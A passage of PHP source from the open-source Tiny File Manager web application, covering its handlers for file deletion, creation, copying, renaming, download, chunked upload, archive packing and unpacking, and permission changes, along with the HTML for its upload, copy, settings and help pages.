rename($temp_file, get_file_path()); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } if (isset($_POST['ajax'])) { //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = FM_ROOT_PATH; $response = scan(fm_clean_path($_POST['path']), $_POST['content']); echo json_encode($response); exit(); } } // Delete file / folder if (isset($_GET['del']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted'); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted'); fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Create folder if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) { $type = $_GET['type']; $new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($_GET['type'] == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fm_enc($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fm_enc($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = $_GET['copy']; $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) { // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Rename if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) { // old name $old = $_GET['ren']; $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = $_GET['to']; $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Download if (isset($_GET['dl'])) { $dl = $_GET['dl']; $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { $override_file_name = false; $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($_REQUEST['fullpath'])) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . basename($_REQUEST['fullpath']); $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if(file_exists ($fullPath) && !$override_file_name && !$chunks) { $ext_1 = $ext ? '.'.$ext : ''; $fullPath = $path . '/' . basename($_REQUEST['fullpath'], $ext_1) .'_'. date('ymdHis'). $ext_1; } if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { while ($buff = fread($in, 4096)) { fwrite($out, $buff); } } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful", 'fullPath' => $fullPath ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { rename("{$fullPath}.part", $fullPath); } } else if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Pack files if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $files = $_POST['file']; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fm_enc($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Unpack if (isset($_GET['unzip']) && !FM_READONLY) { $unzip = $_GET['unzip']; $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_GET['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } /*************************** /ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?> <link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.css" rel="stylesheet"> <div class="path"> <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>"> <div class="card-header"> <ul class="nav nav-tabs card-header-tabs"> <li class="nav-item"> <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a> </li> <li class="nav-item"> <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> Upload from URL</a> </li> </ul> </div> <div class="card-body"> <p class="card-text"> <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a> <?php echo lng('DestinationFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_PATH)) ?> </p> <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>"> <div class="fallback"> <input name="file" type="file" multiple/> </div> </form> <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader"> <form id="js-form-url-upload" class="form-inline" onsubmit="return upload_from_url(this);" method="POST" action=""> <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true"> <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%"> <button type="submit" class="btn btn-primary ml-3"><?php echo lng('Upload') ?></button> <div class="lds-facebook"><div></div><div></div><div></div></div> </form> <div id="js-url-upload__list" class="col-9 mt-3"></div> </div> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.js"></script> <script> Dropzone.options.fileUploader = { chunking: true, chunkSize: 10000000, forceChunking: true, retryChunks: true, retryChunksLimit: 3, parallelUploads: 1, // does not support more than 1! timeout: 120000, maxFilesize: 10000000000, acceptedFiles : "<?php echo getUploadExt() ?>", init: function () { this.on("sending", function (file, xhr, formData) { let _path = (file.fullPath) ? file.fullPath : file.name; document.getElementById("fullpath").value = _path; xhr.ontimeout = (function() { toast('Error: Server Timeout'); }); }).on("success", function (res) { let _response = JSON.parse(res.xhr.response); if(_response.status == "error") { toast(_response.info); } }).on("error", function(file, response) { toast(response); }); } } </script> <?php fm_show_footer(); exit; } // copy form POST if (isset($_POST['copy']) && !FM_READONLY) { $copy_files = isset($_POST['file']) ? $_POST['file'] : null; if (!is_array($copy_files) || empty($copy_files)) { fm_set_msg(lng('Nothing selected'), 'alert'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?> <div class="path"> <div class="card <?php echo fm_get_theme(); ?>"> <div class="card-header"> <h6><?php echo lng('Copying') ?></h6> </div> <div class="card-body"> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="finish" value="1"> <?php foreach ($copy_files as $cf) { echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL; } ?> <p class="break-word"><?php echo lng('Files') ?>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p> <p class="break-word"><?php echo lng('SourceFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br> <label for="inp_copy_to"><?php echo lng('DestinationFolder') ?>:</label> <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>"> </p> <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label" style="vertical-align: sub"> <?php echo lng('Move') ?></label></p> <p> <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b> </p> </form> </div> </div> </div> <?php fm_show_footer(); exit; } // copy form if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) { $copy = $_GET['copy']; $copy = fm_clean_path($copy); if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?> <div class="path"> <p><b>Copying</b></p> <p class="break-word"> Source path: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br> Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?> </p> <p> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-times-circle"></i> Cancel</a></b> </p> <p><i><?php echo lng('Select folder') ?></i></p> <ul class="folders break-word"> <?php if ($parent !== false) { ?> <li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li> <?php } foreach ($folders as $f) { ?> <li> <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li> <?php } ?> </ul> </div> <?php fm_show_footer(); exit; } if (isset($_GET['settings']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path global $cfg, $lang, $lang_list; ?> <div class="col-md-8 offset-md-2 pt-3"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header"> <i class="fa fa-cog"></i> <?php echo lng('Settings') ?> <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a> </h6> <div class="card-body"> <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)"> <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true"> <div class="form-group row"> <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label> <div class="col-sm-5"> <select class="form-control" id="js-language" name="js-language"> <?php function getSelected($l) { global $lang; return ($lang == $l) ? 'selected' : ''; } foreach ($lang_list as $k => $v) { echo "<option value='$k' ".getSelected($k).">$v</option>"; } ?> </select> </div> </div> <?php //get ON/OFF and active class function getChecked($conf, $val, $txt) { if($conf== 1 && $val ==1) { return $txt; } else if($conf == '' && $val == '') { return $txt; } else { return ''; } } ?> <div class="form-group row"> <label for="js-err-rpt-1" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label> <div class="col-sm-9"> <div class="btn-group btn-group-toggle" data-toggle="buttons"> <label class="btn btn-secondary <?php echo getChecked($report_errors, 1, 'active') ?>"> <input type="radio" name="js-error-report" id="js-err-rpt-1" autocomplete="off" value="true" <?php echo getChecked($report_errors, 1, 'checked') ?> > ON </label> <label class="btn btn-secondary <?php echo getChecked($report_errors, '', 'active') ?>"> <input type="radio" name="js-error-report" id="js-err-rpt-0" autocomplete="off" value="false" <?php echo getChecked($report_errors, '', 'checked') ?> > OFF </label> </div> </div> </div> <div class="form-group row"> <label for="js-hdn-1" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label> <div class="col-sm-9"> <div class="btn-group btn-group-toggle" data-toggle="buttons"> <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, 1, 'active') ?>"> <input type="radio" name="js-show-hidden" id="js-hdn-1" autocomplete="off" value="true" <?php echo getChecked($show_hidden_files, 1, 'checked') ?> > ON </label> <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, '', 'active') ?>"> <input type="radio" name="js-show-hidden" id="js-hdn-0" autocomplete="off" value="false" <?php echo getChecked($show_hidden_files, '', 'checked') ?> > OFF </label> </div> </div> </div> <div class="form-group row"> <label for="js-hid-1" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label> <div class="col-sm-9"> <div class="btn-group btn-group-toggle" data-toggle="buttons"> <label class="btn btn-secondary <?php echo getChecked($hide_Cols, 1, 'active') ?>"> <input type="radio" name="js-hide-cols" id="js-hid-1" autocomplete="off" value="true" <?php echo getChecked($hide_Cols, 1, 'checked') ?> > ON </label> <label class="btn btn-secondary <?php echo getChecked($hide_Cols, '', 'active') ?>"> <input type="radio" name="js-hide-cols" id="js-hid-0" autocomplete="off" value="false" <?php echo getChecked($hide_Cols, '', 'checked') ?> > OFF </label> </div> </div> </div> <div class="form-group row"> <label for="js-dir-1" class="col-sm-3 col-form-label"><?php echo lng('CalculateFolderSize') ?></label> <div class="col-sm-9"> <div class="btn-group btn-group-toggle" data-toggle="buttons"> <label class="btn btn-secondary <?php echo getChecked($calc_folder, 1, 'active') ?>"> <input type="radio" name="js-calc-folder" id="js-dir-1" autocomplete="off" value="true" <?php echo getChecked($calc_folder, 1, 'checked') ?> > ON </label> <label class="btn btn-secondary <?php echo getChecked($calc_folder, '', 'active') ?>"> <input type="radio" name="js-calc-folder" id="js-dir-0" autocomplete="off" value="false" <?php echo getChecked($calc_folder, '', 'checked') ?> > OFF </label> </div> </div> </div> <div class="form-group row"> <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label> <div class="col-sm-5"> <select class="form-control" id="js-3-0" name="js-theme-3" style="width:100px;"> <option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option> <option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option> </select> </div> </div> <div class="form-group row"> <div class="col-sm-10"> <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button> </div> </div> </form> </div> </div> </div> <?php fm_show_footer(); exit; } if (isset($_GET['help'])) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path global $cfg, $lang; ?> <div class="col-md-8 offset-md-2 pt-3"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header"> <i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?> <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a> </h6> <div class="card-body"> <div class="row"> <div class="col-xs-12 col-sm-6"> <p><h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3></p> <p>Author: Prasath Mani</p> <p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers[at]gmail.com</a> </p> </div> <div class="col-xs-12 col-sm-6"> <div class="card"> <ul class="list-group list-group-flush"> <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li> <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li> <li class="list-group-item"><a href="javascript:latest_release_info('<?php echo VERSION; ?>');"><i class="fa fa-link"> </i> <?php echo lng('Check Latest Version') ?></a></li> <?php if(!FM_READONLY) { ?> <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li> <?php } ?> </ul> </div> </div> </div> <div class="row js-new-pwd hidden mt-2"> <div class="col-12"> <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action=""> <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true"> <div class="form-group mb-2"> <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label> </div> <div class="form-group mx-sm-3 mb-2"> <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label> <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required> </div> <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button> </form> <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea> </div> </div> </div> </div> </div> <?php fm_show_footer(); exit; } // file viewer if (isset($_GET['view'])) { $file = $_GET['view']; $quickView = (isset($_GET['quickView']) && $_GET['quickView'] == 1) ? true : false; $file = fm_clean_path($file, false); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file) || in_array($file, $GLOBALS['exclude_items'])) { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if(!$quickView) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path } $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize_raw = fm_get_size($file_path); $filesize = fm_get_filesize($filesize_raw); $is_zip = false; $is_gzip = false; $is_image = false; $is_audio = false; $is_video = false; $is_text = false; $is_onlineViewer = false; $view_title = 'File'; $filenames = false; // for zip $content = ''; // for text $online_viewer = strtolower(FM_DOC_VIEWER); if($online_viewer && $online_viewer !== 'false' && in_array($ext, 